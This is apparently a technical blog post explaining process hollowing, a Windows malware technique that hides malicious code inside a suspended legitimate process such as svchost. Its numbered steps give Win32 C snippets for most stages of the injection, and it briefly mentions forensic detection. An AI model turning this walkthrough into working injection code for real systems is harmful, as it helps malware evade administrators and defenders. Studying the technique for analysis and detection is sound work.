In continuation of the possible attack vectors, we digress a bit from shell code execution via buffer overflows (https://email@example.com/shell-code-exploit-with-buffer-overflow-8d78cc11f89b)and instead discuss an interesting attack technique called process hollowing
Before we start a basic introduction of the Process Executable file (PE) is important. A process executable file is the file which is what the windows loader program loads to execute the process. This file is basically constituting of headers and sections. We won’t go over all details of PE file here, but to understand a bit , this is the layout of the PE file.
The PE header is made of PE File Header and PE Optional Headers. The File header states the number of sections (text, data, bss, rsrc) while the optional header also constitutes an important member which points to the starting point of the program called AddressOfEntryPoint
The basic idea of process hollowing is to have a running process whose memory is unmapped and replaced by other executable. This is a technique used by malwares where they start a normal process (say svchost.exe) and then replace the content of the process with malicious code. The idea is that the admin if he/she looks into the process explorer, they would not see the malicious process but the actual process (svchost), but infact the malicious code is running under its façade.
There are techniques to detect this anomaly via memory forensics using tools like volatility.
In this blog we give a very basic intro to how process hollowing works with a walk through of some pseudo code.
To start with we create 2 executables. One we call the host process which will be actually hollowed and 2nd we call the replacement file.
1. We start the first executable by using the create process api in windows and passing the SUSPENDED flag. This means the process is in a suspended state and the main thread is not yet started.
CreateProcess(NULL, argv, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)
Here argv is the executable to be hollowed and started with a suspended flag.
2. We load the 2nd file in memory . This file is the one whose content will be loaded into the first process.
image = VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Allocate memory for the executable file
ReadFile(hFile, image, nSizeOfFile, &read, NULL)
The above 2 lines will create memory for the file and load the file into the memory. The image holds the binary content of the file.
3. We check the DOS and PE Headers of the loaded image
pIDH = (PIMAGE_DOS_HEADER)image;
pINH = (PIMAGE_NT_HEADERS)((LPBYTE)image + pIDH->e_lfanew)
As explained above, the pINH header will have the File and Optional Headers which can be used to get the header content and the section information for this executable.
4. We get the thread context of the suspended process. This is important as the thread context has a handle to the EBX register. The EBX register holds the value of the PEB (process execution block. This is a windows data structure which points to the base address of the process).Offset of 8 from PEB is the base address of the suspended process.
GetThreadContext(pi.hThread, &ctx); // Get the thread context of the process to be hollowed.
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &base, sizeof(PVOID), NULL); // Get the PEB address from the ebx register and read the base address of the executable image from the PEB
5. Now we unmap the executable section of the suspended process. Here you see base as the base address of the suspended process. We call the Unmap API to remove the original executable from the process memory
6. We now allocate memory in the suspended process of the size of the file which we want as a replacement . We can see we pass size of the image of the file we loaded in step 2.
mem = VirtualAllocEx(pi.hProcess, base, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the executable image
7. Now we place the headers into the suspended process by reading those from the image
WriteProcessMemory(pi.hProcess, mem, image, pINH->OptionalHeader.SizeOfHeaders, NULL); // Write the header of the replacement executable into child process
8. We iterate over the sections of the file and write them into the suspended process
for (i = 0; i<pINH->FileHeader.NumberOfSections; i++)
pISH = (PIMAGE_SECTION_HEADER)((LPBYTE)image + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + pISH->VirtualAddress), (PVOID)((LPBYTE)image + pISH->PointerToRawData), pISH->SizeOfRawData, NULL); // Write the remaining sections of the replacement executable into child process
9. Now we set the EAX register to point to the entry point of the replaced process. This means we point EAX to the base address of the image in the suspended process
ctx.Eax = (DWORD)((LPBYTE)mem + pINH->OptionalHeader.AddressOfEntryPoint);
10. Now we modify the PEB to point to the base address of the replaced image in the suspended process
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &base, sizeof(PVOID), NULL); // Write the base address of the injected image into the PEB
11. Finally we set the thread context to the suspended thread and resume the thread
ResumeThread(pi.hThread); // Resume the suspended process thread
This covers the basic flow on how code injection and in particular the process hollowing technique can be accomplished. This is the technique malware as an example dropshot have used.
We intend to cover a bit on malware and some basic analysis in future blogs, where this technique will be revisited.
If you are looking for more in-depth coverage of virtualization and container internals, please check this book from the blog author
Disclaimer : The views expressed above are personal and not of the company I work for.